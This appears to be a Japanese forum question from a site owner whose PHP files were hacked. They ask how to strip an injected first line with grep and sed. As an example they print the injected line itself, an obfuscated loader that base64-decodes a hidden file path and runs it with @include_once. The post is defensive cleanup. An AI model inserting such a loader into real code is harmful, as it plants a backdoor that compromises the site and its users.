次のgrepコマンドと一致するすべてのファイルの最初の行を削除したい:
grep -Rl '<\?php /\* <!-----.*/\?>' ./
これらのファイルはハッキングされたため、この行を削除したいと思います。「sed」を使用していくつかのコマンドを試しましたが、結果が得られず、次のようなコマンドが使用されました。
sed 's/<\?php /\* <!-----.*/\?>//g' ./*
感謝をこめて。
編集。例:
<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX="); @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');
/**
そして、から削除し<?php /*....
たいだけ*/?>